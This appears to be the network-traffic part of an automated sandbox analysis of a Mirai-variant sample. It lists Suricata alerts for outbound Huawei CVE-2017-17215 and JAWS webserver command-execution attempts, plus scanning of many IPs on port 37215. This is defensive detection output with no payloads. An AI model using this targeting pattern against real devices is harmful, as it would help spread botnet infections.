Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34810 -> 156.247.75.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53966 -> 41.237.110.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42398 -> 41.99.106.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52684 -> 197.115.11.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53872 -> 41.201.37.141:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59424 -> 77.3.150.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59424 -> 77.3.150.192:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47860 -> 197.141.68.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53196 -> 156.28.130.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44206 -> 156.251.156.83:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50694 -> 156.143.114.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44544 -> 41.77.208.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39946 -> 156.195.126.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59714 -> 197.206.92.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55438 -> 41.49.180.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56102 -> 197.183.177.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47432 -> 41.221.218.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32916 -> 197.147.252.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50558 -> 197.100.215.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43938 -> 197.46.111.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58824 -> 197.176.215.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49654 -> 41.120.20.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34010 -> 197.115.19.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46030 -> 156.148.67.239:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36290 -> 137.46.73.168:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51396 -> 41.34.237.65:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36290 -> 137.46.73.168:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41200 -> 223.63.237.131:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41200 -> 223.63.237.131:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46154 -> 156.201.207.50:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52198 -> 154.189.149.132:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52198 -> 154.189.149.132:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53756 -> 36.229.215.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53756 -> 36.229.215.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44646 -> 155.83.97.123:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55058 -> 41.151.2.41:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44646 -> 155.83.97.123:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44162 -> 41.31.159.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37556 -> 156.34.154.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37180 -> 41.248.6.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41506 -> 41.97.33.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44544 -> 197.32.90.183:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45762 -> 79.42.6.55:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45246 -> 130.143.3.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45762 -> 79.42.6.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45246 -> 130.143.3.66:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36206 -> 221.110.37.119:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36206 -> 221.110.37.119:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34272 -> 156.19.5.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40406 -> 197.3.228.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47274 -> 197.73.128.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43078 -> 41.195.44.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47692 -> 197.22.85.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39836 -> 41.218.135.142:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.234.62.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.33.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.211.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.70.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.120.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.52.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.130.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.33.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.171.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.238.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.49.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.158.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.97.237.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.249.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.41.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.209.75.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.69.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.224.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.174.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.32.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.54.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.36.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.12.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.35.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.49.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.242.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.49.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.10.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.167.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.210.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.12.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.25.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.3.52.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.221.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.62.145.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.18.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.98.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.200.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.84.254.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.35.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.11.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.210.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.201.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.145.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.134.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.52.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.160.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.164.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.42.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.129.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.127.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.93.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.132.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.167.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.106.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.245.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.24.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.26.170.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.216.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.148.109.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.206.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.88.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.106.215.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.167.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.231.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.232.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.4.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.63.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.142.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.119.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.249.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.36.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.135.171.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.122.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.139.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.177.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.31.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.31.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.156.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.122.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.157.6.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.99.180.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.94.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.40.38.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.103.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.164.61.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.176.230.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.96.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.68.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.209.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.163.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.254.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.161.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.163.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.165.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.124.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.45.65.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.134.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.3.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.118.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.150.111.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.220.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.174.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.48.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.224.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.229.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.204.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.29.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.94.217.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.9.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.204.146.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.109.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.249.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.134.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.17.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.128.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.199.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.232.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.250.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.248.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.236.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.53.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.168.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.53.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.255.41.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.55.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.203.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.230.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.63.253.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.111.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.106.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.137.116.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.245.159.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.102.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.255.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.31.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.80.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.229.107.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.44.81.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.250.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.133.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.134.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.109.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.92.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.2.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.15.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.32.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.192.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.187.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.136.127.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.85.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.123.46.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.156.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.56.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.188.108.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.46.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.72.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.160.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.40.33.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.19.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.176.10.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.90.184.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.238.32.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.93.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.237.87.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.34.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.210.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.78.44.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.5.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.180.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.143.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.19.145.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.228.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.118.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.247.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.102.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.129.129.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.58.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.94.137.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.115.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.65.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.187.172.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.40.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.95.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.143.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.52.94.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.109.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.94.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.36.202.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.209.241.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.106.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.237.110.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.115.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.20.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.147.50.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.126.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.128.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.4.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.198.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.247.75.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.141.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.67.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.36.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.75.110.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.16.59.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.245.188.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.222.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.11.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.27.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.246.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.56.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.72.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.235.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.193.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.231.209.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.132.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.22.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.23.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.207.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.110.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.116.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.223.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.42.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.38.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.186.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.163.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.63.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.159.121.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.34.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.119.218.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.57.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.210.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.155.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.240.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.115.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.84.10.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.52.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.87.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.162.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.201.37.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.242.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.148.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.130.43.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.93.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.145.191.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.220.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.161.220.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.140.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.205.23 ports 1,2,3,5,7,37215
